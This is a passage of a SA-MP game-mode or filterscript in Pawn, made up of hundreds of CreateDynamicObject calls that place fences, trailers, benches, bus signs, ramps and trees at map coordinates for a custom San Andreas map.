856
    CreateDynamicObject(970,-2364.3999023,2485.8000488,4.9000001,0.0000000,0.0000000,221.2330170); //object(fencesmallb) (65)
857
    CreateDynamicObject(3566,-2336.2998047,2522.6992188,1.9010000,0.0000000,0.0000000,201.9891357); //object(lasntrk1) (25)
858
    CreateDynamicObject(3578,-2337.5000000,2518.6000977,1.9000000,1.8621826,20.7531738,291.5112305); //object(dockbarr1_la) (34)
859
    CreateDynamicObject(1229,-2338.3000488,2524.8999023,5.9000001,0.0000000,0.0000000,19.9896240); //object(bussign1) (14)
860
    CreateDynamicObject(1775,-2359.0996094,2509.3994141,5.5000000,0.0000000,0.0000000,47.9992676); //object(cj_sprunk1) (4)
861
    CreateDynamicObject(1209,-2311.8999023,2530.1999512,4.4000001,0.0000000,0.0000000,2.5000000); //object(vendmach) (1)
862
    CreateDynamicObject(1776,-2310.5000000,2530.3000488,5.5000000,0.0000000,0.0000000,2.7463379); //object(cj_candyvendor) (2)
863
    CreateDynamicObject(1432,-2298.6999512,2530.0000000,4.4000001,0.0000000,0.0000000,320.0000000); //object(dyn_table_2) (1)
864
    CreateDynamicObject(1432,-2297.8000488,2522.8999023,4.4000001,0.0000000,0.0000000,279.9987793); //object(dyn_table_2) (2)
865
    CreateDynamicObject(1432,-2292.3999023,2525.1000977,4.4000001,0.0000000,0.0000000,309.9975586); //object(dyn_table_2) (3)
866
    CreateDynamicObject(1660,-2285.1000977,2419.3000488,0.5000000,354.0000000,0.0000000,224.0000000); //object(ramp) (1)
867
    CreateDynamicObject(1660,-2288.8000488,2415.6999512,0.5000000,353.9959717,0.0000000,223.9947815); //object(ramp) (2)
868
    CreateDynamicObject(1660,-2292.5000000,2412.1000977,0.5000000,353.9959717,0.0000000,224.4947662); //object(ramp) (3)
869
    CreateDynamicObject(1223,-2310.8000488,2448.6000977,4.0000000,0.0000000,0.0000000,236.0000000); //object(lampost_coast) (6)
870
    CreateDynamicObject(1660,-2345.6999512,2474.5000000,0.5000000,353.9959717,0.0000000,224.4947662); //object(ramp) (4)
871
    CreateDynamicObject(1660,-2349.3000488,2470.8999023,0.5000000,353.9959717,0.0000000,225.4945984); //object(ramp) (5)
872
    CreateDynamicObject(1660,-2352.6999512,2467.6000977,0.5000000,353.9959717,0.0000000,222.7446442); //object(ramp) (6)
873
    CreateDynamicObject(1660,-2346.8999023,2467.1999512,0.5000000,353.9959717,0.0000000,134.2423096); //object(ramp) (7)
874
    CreateDynamicObject(1660,-2350.5000000,2470.8999023,0.5000000,353.9959717,0.0000000,134.2419434); //object(ramp) (8)
875
    CreateDynamicObject(1660,-2354.1000977,2474.6000977,0.5000000,353.9959717,0.0000000,134.2419434); //object(ramp) (9)
876
    CreateDynamicObject(3566,-2858.3999023,1058.5000000,29.1000004,0.0000000,0.0000000,12.7500000); //object(lasntrk1) (1)
877
    CreateDynamicObject(3578,-2860.3000488,1061.4000244,30.8099995,0.0000000,0.0000000,282.2500000); //object(dockbarr1_la) (4)
878
    CreateDynamicObject(1257,-2857.6000977,1064.1999512,32.9000015,0.0000000,0.0000000,13.5000000); //object(bustopm) (4)
879
    CreateDynamicObject(3566,-2855.1999512,1059.1999512,29.1000004,0.0000000,0.0000000,12.7468262); //object(lasntrk1) (2)
880
    CreateDynamicObject(3361,-2860.8000488,1069.8000488,29.5000000,0.0000000,0.0000000,102.0000000); //object(cxref_woodstair) (1)
881
    CreateDynamicObject(1229,-2861.3999023,1066.5000000,33.0999985,0.0000000,0.0000000,12.0000000); //object(bussign1) (15)
882
    CreateDynamicObject(3566,-2006.0000000,-873.2000122,29.0000000,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (4)
883
    CreateDynamicObject(6959,-2022.6992188,-964.1992188,31.2000008,0.0000000,0.0000000,179.9945068); //object(vegasnbball1) (1)
884
    CreateDynamicObject(6959,-2022.3994141,-924.2998047,31.2000008,0.0000000,0.0000000,0.0000000); //object(vegasnbball1) (9)
885
    CreateDynamicObject(6959,-2023.6992188,-884.2998047,31.2000008,0.0000000,0.0000000,179.9945068); //object(vegasnbball1) (10)
886
    CreateDynamicObject(11505,-2013.5999756,-875.0999756,35.5999985,0.0000000,0.0000000,90.0000000); //object(des_garwcanopy) (4)
887
    CreateDynamicObject(3566,-2006.0000000,-890.7999878,29.0000000,0.0000000,0.0000000,0.2500000); //object(lasntrk1) (6)
888
    CreateDynamicObject(3566,-2006.0000000,-908.4000244,29.0000000,0.0000000,0.0000000,359.9971924); //object(lasntrk1) (7)
889
    CreateDynamicObject(3566,-2009.3000488,-873.2000122,29.0000000,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (8)
890
    CreateDynamicObject(3566,-2012.5999756,-873.2000122,29.0000000,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (9)
891
    CreateDynamicObject(3566,-2009.3000488,-890.7999878,29.0000000,0.0000000,0.0000000,0.2471924); //object(lasntrk1) (10)
892
    CreateDynamicObject(3566,-2012.5999756,-890.7999878,29.0000000,0.0000000,0.0000000,0.2471924); //object(lasntrk1) (12)
893
    CreateDynamicObject(3566,-2012.6992188,-903.3994141,29.0049992,0.0000000,0.0000000,233.9923096); //object(lasntrk1) (13)
894
    CreateDynamicObject(3566,-2015.9000244,-873.2000122,29.0000000,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (29)
895
    CreateDynamicObject(3566,-2015.9000244,-890.7999878,29.0000000,0.0000000,0.0000000,0.2471924); //object(lasntrk1) (30)
896
    CreateDynamicObject(3566,-2019.1999512,-873.2000122,29.0000000,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (31)
897
    CreateDynamicObject(3566,-2019.1992188,-890.7998047,29.0000000,0.0000000,0.0000000,0.2471924); //object(lasntrk1) (41)
898
    CreateDynamicObject(3566,-2012.5999756,-913.9000244,29.0049992,0.0000000,0.0000000,233.9945068); //object(lasntrk1) (42)
899
    CreateDynamicObject(3566,-2006.0999756,-926.0000000,29.0000000,0.0000000,0.0000000,359.9945068); //object(lasntrk1) (43)
900
    CreateDynamicObject(3566,-2006.1992188,-943.5996094,29.0000000,0.0000000,0.0000000,359.7418213); //object(lasntrk1) (47)
901
    CreateDynamicObject(3566,-2012.5999756,-924.0000000,29.0049992,0.0000000,0.0000000,233.9868164); //object(lasntrk1) (48)
902
    CreateDynamicObject(3566,-2012.5999756,-934.5999756,29.0049992,0.0000000,0.0000000,233.9868164); //object(lasntrk1) (49)
903
    CreateDynamicObject(11505,-2013.5999756,-889.4000244,35.5999985,0.0000000,0.0000000,90.0000000); //object(des_garwcanopy) (5)
904
    CreateDynamicObject(5170,-2005.8000488,-924.9000244,33.9000015,0.0000000,0.0000000,90.0000000); //object(imnrmpy2_las2) (4)
905
    CreateDynamicObject(3566,-2012.8000488,-945.0000000,29.0049992,0.0000000,0.0000000,233.9868164); //object(lasntrk1) (49)
906
    CreateDynamicObject(3566,-2012.5999756,-899.4000244,29.0049992,0.0000000,0.0000000,233.9923096); //object(lasntrk1) (13)
907
    CreateDynamicObject(3566,-2012.4000244,-895.5000000,29.0049992,0.0000000,0.0000000,233.9923096); //object(lasntrk1) (13)
908
    CreateDynamicObject(3578,-1999.0999756,-863.5999756,30.3999996,0.0000000,0.0000000,0.0000000); //object(dockbarr1_la) (5)
909
    CreateDynamicObject(3578,-2009.3000488,-863.5999756,30.3999996,0.0000000,0.0000000,180.2500000); //object(dockbarr1_la) (26)
910
    CreateDynamicObject(3578,-2019.5999756,-863.5999756,30.3799992,0.0000000,359.7500000,359.7500000); //object(dockbarr1_la) (27)
911
    CreateDynamicObject(3578,-1999.5000000,-854.4000244,30.3999996,0.0000000,0.0000000,20.0000000); //object(dockbarr1_la) (35)
912
    CreateDynamicObject(3578,-2009.4000244,-856.0999756,30.3999996,0.0000000,0.0000000,0.0000000); //object(dockbarr1_la) (36)
913
    CreateDynamicObject(3578,-2019.6999512,-856.0999756,30.3999996,0.0000000,0.0000000,0.0000000); //object(dockbarr1_la) (37)
914
    CreateDynamicObject(3578,-2030.0000000,-856.0999756,30.3999996,0.0000000,0.0000000,0.0000000); //object(dockbarr1_la) (38)
915
    CreateDynamicObject(973,-2015.0999756,-855.5999756,32.0000000,0.0000000,0.0000000,179.9945068); //object(sub_roadbarrier) (9)
916
    CreateDynamicObject(973,-2009.5999756,-855.5999756,32.0000000,0.0000000,0.0000000,179.9945068); //object(sub_roadbarrier) (10)
917
    CreateDynamicObject(973,-2024.3000488,-855.5999756,32.0000000,0.0000000,0.0000000,179.9945068); //object(sub_roadbarrier) (11)
918
    CreateDynamicObject(973,-2041.4000244,-975.2000122,32.0000000,0.0000000,0.0000000,359.9945068); //object(sub_roadbarrier) (12)
919
    CreateDynamicObject(731,-2043.3000488,-910.0999756,30.1000004,0.0000000,0.0000000,279.9975586); //object(tree_hipoly09) (1)
920
    CreateDynamicObject(708,-2031.3000488,-985.2000122,31.2000008,0.0000000,0.0000000,69.9938965); //object(sm_veg_tree4_vbig) (1)
921
    CreateDynamicObject(669,-2045.4000244,-957.7000122,31.2000008,0.0000000,0.0000000,244.9951172); //object(sm_veg_tree4) (2)
922
    CreateDynamicObject(671,-2045.0996094,-947.3994141,31.2000008,0.0000000,0.0000000,187.4981689); //object(sm_bushytree) (1)
923
    CreateDynamicObject(671,-2043.0999756,-900.2999878,31.2000008,0.0000000,0.0000000,147.4981689); //object(sm_bushytree) (2)
924
    CreateDynamicObject(708,-2044.5000000,-885.7000122,31.1000004,0.0000000,0.0000000,139.9987793); //object(sm_veg_tree4_vbig) (2)
925
    CreateDynamicObject(669,-2043.5996094,-926.5996094,30.7999992,0.0000000,0.0000000,194.9908447); //object(sm_veg_tree4) (3)
926
    CreateDynamicObject(987,-2000.5999756,-876.2999878,31.2000008,0.0000000,0.0000000,90.0000000); //object(elecfence_bar) (1)
927
    CreateDynamicObject(7894,-2047.1999512,-971.7999878,31.7000008,0.0000000,0.0000000,304.0000000); //object(vegascrashbar05) (1)
928
    CreateDynamicObject(3578,-2037.0000000,-861.0000000,30.3999996,0.0000000,359.7500000,68.0000000); //object(dockbarr1_la) (41)
929
    CreateDynamicObject(987,-2000.5999756,-888.2999878,31.2000008,0.0000000,0.0000000,90.0000000); //object(elecfence_bar) (2)
930
    CreateDynamicObject(987,-2000.5999756,-900.2000122,31.2000008,0.0000000,0.0000000,90.0000000); //object(elecfence_bar) (3)
931
    CreateDynamicObject(987,-2000.5999756,-912.2000122,31.2000008,0.0000000,0.0000000,90.0000000); //object(elecfence_bar) (4)
932
    CreateDynamicObject(987,-2000.5999756,-924.2000122,31.2000008,0.0000000,0.0000000,90.0000000); //object(elecfence_bar) (5)
933
    CreateDynamicObject(987,-2000.5999756,-936.2000122,31.2000008,0.0000000,0.0000000,90.0000000); //object(elecfence_bar) (6)
934
    CreateDynamicObject(987,-2000.5999756,-948.2000122,31.2000008,0.0000000,0.0000000,90.0000000); //object(elecfence_bar) (7)
935
    CreateDynamicObject(987,-2000.5999756,-960.2000122,31.2000008,0.0000000,0.0000000,90.0000000); //object(elecfence_bar) (8)
936
    CreateDynamicObject(987,-2012.5000000,-960.0999756,31.2000008,0.0000000,0.0000000,0.0000000); //object(elecfence_bar) (9)
937
    CreateDynamicObject(987,-2000.5000000,-864.4000244,31.2000008,0.0000000,0.0000000,180.0000000); //object(elecfence_bar) (10)
938
    CreateDynamicObject(987,-2010.5000000,-864.4000244,31.2000008,0.0000000,0.0000000,179.9945068); //object(elecfence_bar) (11)
939
    CreateDynamicObject(8508,-2032.0000000,-956.5000000,28.1399994,359.7500000,0.0000000,0.0000000); //object(genshop01_lvs) (1)
940
    CreateDynamicObject(987,-2023.5999756,-960.0999756,31.2000008,0.0000000,0.0000000,0.0000000); //object(elecfence_bar) (12)
941
    CreateDynamicObject(8843,-2009.9000244,-859.7999878,31.2000008,0.0000000,0.0000000,90.0000000); //object(arrows01_lvs) (6)
942
    CreateDynamicObject(987,-2048.1000977,-864.2000122,31.2000008,0.0000000,0.0000000,269.9944763); //object(elecfence_bar) (13)
943
    CreateDynamicObject(987,-2048.0996094,-876.0996094,31.2000008,0.0000000,0.0000000,269.9890137); //object(elecfence_bar) (14)
944
    CreateDynamicObject(987,-2048.1000977,-888.0999756,31.2000008,0.0000000,0.0000000,269.9890137); //object(elecfence_bar) (15)
945
    CreateDynamicObject(987,-2048.1000977,-900.0000000,31.2000008,0.0000000,0.0000000,269.9890137); //object(elecfence_bar) (16)
946
    CreateDynamicObject(987,-2048.1000977,-912.0000000,31.2000008,0.0000000,0.0000000,269.9890137); //object(elecfence_bar) (17)
947
    CreateDynamicObject(987,-2048.1000977,-923.9000244,31.2000008,0.0000000,0.0000000,269.9890137); //object(elecfence_bar) (18)
948
    CreateDynamicObject(987,-2048.1000977,-935.9000244,31.2000008,0.0000000,0.0000000,269.9890137); //object(elecfence_bar) (19)
949
    CreateDynamicObject(987,-2048.1999512,-947.9000244,31.2000008,0.0000000,0.0000000,269.9890137); //object(elecfence_bar) (20)
950
    CreateDynamicObject(987,-2048.1999512,-953.2999878,31.2000008,0.0000000,0.0000000,269.9890137); //object(elecfence_bar) (21)
951
    CreateDynamicObject(8843,-2010.0999756,-970.0999756,31.2000008,0.0000000,0.0000000,270.0000000); //object(arrows01_lvs) (7)
952
    CreateDynamicObject(1256,-2005.4000244,-904.9000244,32.0999985,0.0000000,0.0000000,0.0000000); //object(stonebench1) (32)
953
    CreateDynamicObject(1256,-2005.4000244,-909.0999756,32.0999985,0.0000000,0.0000000,0.0000000); //object(stonebench1) (33)
954
    CreateDynamicObject(1256,-2005.5000000,-922.5000000,32.0999985,0.0000000,0.0000000,0.0000000); //object(stonebench1) (34)
955
    CreateDynamicObject(1256,-2005.5000000,-927.5000000,32.0999985,0.0000000,0.0000000,0.0000000); //object(stonebench1) (35)
956
    CreateDynamicObject(1256,-2005.5999756,-940.9000244,32.0999985,0.0000000,0.0000000,0.0000000); //object(stonebench1) (36)
957
    CreateDynamicObject(1256,-2005.5999756,-945.5000000,32.0999985,0.0000000,0.0000000,0.0000000); //object(stonebench1) (37)
958
    CreateDynamicObject(1359,-2005.6999512,-943.2000122,32.2000008,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (3)
959
    CreateDynamicObject(1359,-2005.5000000,-925.0000000,32.2000008,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (4)
960
    CreateDynamicObject(1359,-2005.3000488,-907.0000000,32.2000008,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (7)
961
    CreateDynamicObject(3657,-2017.0999756,-874.7999878,32.0000000,0.0000000,0.0000000,270.0000000); //object(airseata_las) (8)
962
    CreateDynamicObject(3657,-2017.0000000,-889.4000244,32.0000000,0.0000000,0.0000000,270.0000000); //object(airseata_las) (9)
963
    CreateDynamicObject(3657,-2009.4000244,-889.2999878,32.0000000,0.0000000,0.0000000,270.0000000); //object(airseata_las) (11)
964
    CreateDynamicObject(3657,-2009.3000488,-874.7999878,32.0000000,0.0000000,0.0000000,270.0000000); //object(airseata_las) (12)
965
    CreateDynamicObject(3657,-2008.4000244,-874.7999878,32.0000000,0.0000000,0.0000000,90.0000000); //object(airseata_las) (13)
966
    CreateDynamicObject(3657,-2008.4000244,-889.2000122,32.0000000,0.0000000,0.0000000,90.0000000); //object(airseata_las) (14)
967
    CreateDynamicObject(3657,-2016.0999756,-889.4000244,32.0000000,0.0000000,0.0000000,90.0000000); //object(airseata_las) (15)
968
    CreateDynamicObject(3657,-2016.0999756,-874.7999878,32.0000000,0.0000000,0.0000000,90.0000000); //object(airseata_las) (16)
969
    CreateDynamicObject(1776,-2008.5999756,-881.0000000,32.5999985,0.0000000,0.0000000,270.0000000); //object(cj_candyvendor) (1)
970
    CreateDynamicObject(1775,-2008.5000000,-882.4000244,32.5999985,0.0000000,0.0000000,270.0000000); //object(cj_sprunk1) (1)
971
    CreateDynamicObject(1302,-2008.5999756,-883.7000122,31.5000000,0.0000000,0.0000000,270.0000000); //object(vendmachfd) (1)
972
    CreateDynamicObject(1229,-2007.8000488,-915.7999878,33.0000000,0.0000000,0.0000000,236.0000000); //object(bussign1) (16)
973
    CreateDynamicObject(1229,-2007.6999512,-925.7999878,33.0000000,0.0000000,0.0000000,235.9973145); //object(bussign1) (17)
974
    CreateDynamicObject(1229,-2007.8000488,-936.2999878,33.0000000,0.0000000,0.0000000,235.9973145); //object(bussign1) (18)
975
    CreateDynamicObject(1229,-2007.8000488,-946.9000244,33.0000000,0.0000000,0.0000000,235.9973145); //object(bussign1) (19)
976
    CreateDynamicObject(1359,-2016.8000488,-871.5000000,32.2000008,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (8)
977
    CreateDynamicObject(1359,-2016.5000000,-892.7000122,32.2000008,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (9)
978
    CreateDynamicObject(1359,-2009.0999756,-892.5000000,32.2000008,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (10)
979
    CreateDynamicObject(1359,-2009.0999756,-871.5999756,32.2000008,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (11)
980
    CreateDynamicObject(1237,-2004.4000244,-855.5999756,31.1000004,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (16)
981
    CreateDynamicObject(973,-2030.8994141,-855.5996094,32.0000000,0.0000000,0.0000000,179.9945068); //object(sub_roadbarrier) (14)
982
    CreateDynamicObject(973,-2032.1999512,-975.2000122,32.0000000,0.0000000,0.0000000,359.9890137); //object(sub_roadbarrier) (15)
983
    CreateDynamicObject(973,-2023.0000000,-975.2000122,32.0000000,0.0000000,0.0000000,359.9890137); //object(sub_roadbarrier) (16)
984
    CreateDynamicObject(973,-2013.6992188,-975.1992188,32.0000000,0.0000000,0.0000000,359.9835205); //object(sub_roadbarrier) (17)
985
    CreateDynamicObject(7894,-2037.5000000,-859.0000000,31.7999992,0.0000000,0.0000000,235.9973145); //object(vegascrashbar05) (2)
986
    CreateDynamicObject(8623,-2043.5999756,-947.7999878,31.8999996,0.0000000,0.0000000,86.0000000); //object(bush03_lvs) (1)
987
    CreateDynamicObject(8623,-2042.0000000,-884.7000122,32.0000000,0.0000000,0.0000000,270.0000000); //object(bush03_lvs) (2)
988
    CreateDynamicObject(973,-2004.4000244,-975.2000122,32.0000000,0.0000000,0.0000000,359.9835205); //object(sub_roadbarrier) (17)
989
    CreateDynamicObject(671,-2007.0000000,-963.4000244,31.2000008,0.0000000,0.0000000,163.4981689); //object(sm_bushytree) (1)
990
    CreateDynamicObject(669,-2017.3000488,-963.4000244,31.2000008,0.0000000,0.0000000,194.9908447); //object(sm_veg_tree4) (3)
991
    CreateDynamicObject(1553,-2038.5000000,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (26)
992
    CreateDynamicObject(1553,-2037.1999512,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (27)
993
    CreateDynamicObject(1553,-2035.9000244,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (28)
994
    CreateDynamicObject(1553,-2034.5999756,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (29)
995
    CreateDynamicObject(1553,-2033.1999512,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (30)
996
    CreateDynamicObject(1553,-2031.9000244,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (31)
997
    CreateDynamicObject(1553,-2030.5999756,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (32)
998
    CreateDynamicObject(1553,-2029.4000244,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (33)
999
    CreateDynamicObject(1553,-2028.0999756,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (34)
1000
    CreateDynamicObject(1553,-2026.9000244,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (35)
1001
    CreateDynamicObject(1553,-2025.6999512,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (36)
1002
    CreateDynamicObject(1553,-2024.4000244,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (37)
1003
    CreateDynamicObject(1553,-2023.0999756,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (38)
1004
    CreateDynamicObject(1553,-2021.9000244,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (39)
1005
    CreateDynamicObject(970,-2042.1999512,-878.2999878,31.7000008,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (31)
1006
    CreateDynamicObject(970,-2040.0999756,-872.7000122,31.7000008,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (37)
1007
    CreateDynamicObject(970,-2044.3000488,-876.2000122,31.7000008,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (47)
1008
    CreateDynamicObject(1553,-2039.8000488,-876.4000244,30.0000000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (40)
1009
    CreateDynamicObject(970,-2040.0999756,-868.5999756,31.7000008,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (51)
1010
    CreateDynamicObject(970,-2040.0999756,-865.7999878,31.7000008,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (66)
1011
    CreateDynamicObject(970,-2044.3000488,-872.0999756,31.7000008,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (67)
1012
    CreateDynamicObject(970,-2044.3000488,-868.0000000,31.7000008,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (68)
1013
    CreateDynamicObject(970,-2044.3000488,-866.0000000,31.7000008,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (70)
1014
    CreateDynamicObject(970,-2046.4000244,-863.9000244,31.7000008,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (71)
1015
    CreateDynamicObject(1215,-2039.9000244,-878.2000122,31.7000008,0.0000000,0.0000000,0.0000000); //object(bollardlight) (16)
1016
    CreateDynamicObject(1215,-2039.9000244,-874.7999878,31.7000008,0.0000000,0.0000000,0.0000000); //object(bollardlight) (17)
1017
    CreateDynamicObject(1215,-2044.1999512,-863.7000122,31.7000008,0.0000000,0.0000000,0.0000000); //object(bollardlight) (18)
1018
    CreateDynamicObject(1215,-2040.3000488,-863.5000000,31.7000008,0.0000000,0.0000000,0.0000000); //object(bollardlight) (19)
1019
    CreateDynamicObject(1297,-2001.5999756,-975.0999756,34.5999985,0.0000000,0.0000000,270.0000000); //object(lamppost1) (1)
1020
    CreateDynamicObject(1297,-2015.6999512,-974.7000122,34.5999985,0.0000000,0.0000000,270.0000000); //object(lamppost1) (2)
1021
    CreateDynamicObject(1297,-2028.5000000,-974.7999878,34.5999985,0.0000000,0.0000000,270.0000000); //object(lamppost1) (3)
1022
    CreateDynamicObject(1297,-2041.0000000,-974.7999878,34.5999985,0.0000000,0.0000000,270.0000000); //object(lamppost1) (4)
1023
    CreateDynamicObject(708,-2045.0996094,-937.0000000,30.8999996,0.0000000,0.0000000,69.9938965); //object(sm_veg_tree4_vbig) (1)
1024
    CreateDynamicObject(3566,-1996.3000488,127.0000000,24.2999992,0.0000000,0.0000000,0.2471924); //object(lasntrk1) (41)
1025
    CreateDynamicObject(3566,-1999.5999756,127.0000000,24.2999992,0.0000000,0.0000000,0.2471924); //object(lasntrk1) (41)
1026
    CreateDynamicObject(3566,-1999.5999756,144.6000061,24.2999992,0.0000000,0.0000000,0.2471924); //object(lasntrk1) (41)
1027
    CreateDynamicObject(3566,-1999.5999756,162.1999969,24.2999992,0.0000000,0.0000000,0.2471924); //object(lasntrk1) (41)
1028
    CreateDynamicObject(3566,-1996.3000488,144.6000061,24.2999992,0.0000000,0.0000000,0.2471924); //object(lasntrk1) (41)
1029
    CreateDynamicObject(3566,-1996.3000488,162.1999969,24.2999992,0.0000000,0.0000000,0.2471924); //object(lasntrk1) (41)
1030
    CreateDynamicObject(3566,-1996.3000488,169.8000031,24.2950001,0.0000000,0.0000000,0.2471924); //object(lasntrk1) (41)
1031
    CreateDynamicObject(3566,-1999.5999756,169.8000031,24.2950001,0.0000000,0.0000000,0.2471924); //object(lasntrk1) (41)
1032
    CreateDynamicObject(1256,-1996.9000244,136.8999939,27.3999996,0.0000000,0.0000000,180.0000000); //object(stonebench1) (38)
1033
    CreateDynamicObject(1256,-1996.8000488,145.3999939,27.3999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (39)
1034
    CreateDynamicObject(1256,-1996.9000244,153.3000031,27.3999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (40)
1035
    CreateDynamicObject(1256,-1996.6999512,161.0000000,27.3999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (41)
1036
    CreateDynamicObject(1256,-1996.9000244,172.0000000,27.3999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (57)
1037
    CreateDynamicObject(1256,-1996.8000488,124.8000031,27.3999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (58)
1038
    CreateDynamicObject(1256,-1998.5000000,124.6999969,27.3999996,0.0000000,0.0000000,359.9945068); //object(stonebench1) (59)
1039
    CreateDynamicObject(1256,-1999.0999756,171.8999939,27.3999996,0.0000000,0.0000000,359.9890137); //object(stonebench1) (60)
1040
    CreateDynamicObject(1229,-2001.0999756,143.1000061,28.2999992,0.0000000,0.0000000,0.0000000); //object(bussign1) (20)
1041
    CreateDynamicObject(1229,-2001.0000000,169.1000061,28.2999992,0.0000000,0.0000000,0.0000000); //object(bussign1) (21)
1042
    CreateDynamicObject(1229,-1994.8000488,143.1000061,28.2999992,0.0000000,0.0000000,0.0000000); //object(bussign1) (23)
1043
    CreateDynamicObject(1229,-1994.8000488,169.0000000,28.2999992,0.0000000,0.0000000,0.0000000); //object(bussign1) (24)
1044
    CreateDynamicObject(3566,-2404.8999023,-618.4000244,129.3000031,0.0000000,0.0000000,46.4971924); //object(lasntrk1) (41)
1045
    CreateDynamicObject(1229,-2435.1000977,-602.2000122,133.1999969,0.0000000,0.0000000,214.0000000); //object(bussign1) (25)
1046
    CreateDynamicObject(1280,-2401.3999023,-621.2999878,132.1999969,0.0000000,0.0000000,46.0000000); //object(parkbench1) (1)
1047
    CreateDynamicObject(1280,-2404.5000000,-618.2999878,132.1999969,0.0000000,0.0000000,45.9997559); //object(parkbench1) (11)
1048
    CreateDynamicObject(1280,-2408.1000977,-614.9000244,132.1999969,0.0000000,0.0000000,45.9997559); //object(parkbench1) (12)
1049
    CreateDynamicObject(3566,-2438.6992188,-599.5996094,129.1999969,0.0000000,0.0000000,34.4915771); //object(lasntrk1) (41)
1050
    CreateDynamicObject(1280,-2441.5000000,-596.5000000,132.1000061,0.0000000,0.0000000,215.2497559); //object(parkbench1) (13)
1051
    CreateDynamicObject(1280,-2438.8000488,-600.5000000,132.1000061,0.0000000,0.0000000,215.2496338); //object(parkbench1) (14)
1052
    CreateDynamicObject(1280,-2435.8999023,-604.4000244,132.1000061,0.0000000,0.0000000,215.2496338); //object(parkbench1) (15)
1053
    CreateDynamicObject(1229,-2408.2998047,-617.0000000,133.3000031,0.0000000,0.0000000,45.9997559); //object(bussign1) (26)
1054
    CreateDynamicObject(3566,-2378.6000977,-25.6000004,32.0999985,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (41)
1055
    CreateDynamicObject(3276,-2637.3000488,-489.3999939,69.8000031,0.0000000,357.5000000,268.0000000); //object(cxreffencesld) (3)
1056
    CreateDynamicObject(3276,-2634.6999512,-500.2000122,70.5000000,0.0000000,356.2451172,299.2449951); //object(cxreffencesld) (4)
1057
    CreateDynamicObject(3276,-2627.0000000,-508.3999939,71.0999985,0.0000000,357.7426758,327.2401123); //object(cxreffencesld) (5)
1058
    CreateDynamicObject(3566,-2381.8999023,-25.6000004,32.0999985,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (41)
1059
    CreateDynamicObject(3566,-2414.6999512,-25.6000004,32.0999985,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (41)
1060
    CreateDynamicObject(3566,-2411.3999023,-25.6000004,32.0999985,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (41)
1061
    CreateDynamicObject(3566,-2378.5000000,-8.0000000,32.0999985,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (41)
1062
    CreateDynamicObject(3566,-2381.8000488,-8.0000000,32.0999985,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (41)
1063
    CreateDynamicObject(3566,-2414.6000977,-8.0000000,32.0999985,0.0000000,0.0000000,359.7500000); //object(lasntrk1) (41)
1064
    CreateDynamicObject(3566,-2411.3000488,-8.0000000,32.0999985,0.0000000,0.0000000,359.7500000); //object(lasntrk1) (41)
1065
    CreateDynamicObject(3566,-2392.1999512,-16.6000004,32.0999985,0.0000000,0.0000000,90.5000000); //object(lasntrk1) (41)
1066
    CreateDynamicObject(3566,-2405.3999023,-16.6000004,32.0979996,0.0000000,0.0000000,90.0000000); //object(lasntrk1) (41)
1067
    CreateDynamicObject(970,-2385.6000977,-18.2000008,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (69)
1068
    CreateDynamicObject(970,-2389.8000488,-18.2000008,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (75)
1069
    CreateDynamicObject(970,-2394.0000000,-18.2000008,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (76)
1070
    CreateDynamicObject(970,-2398.1999512,-18.2000008,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (77)
1071
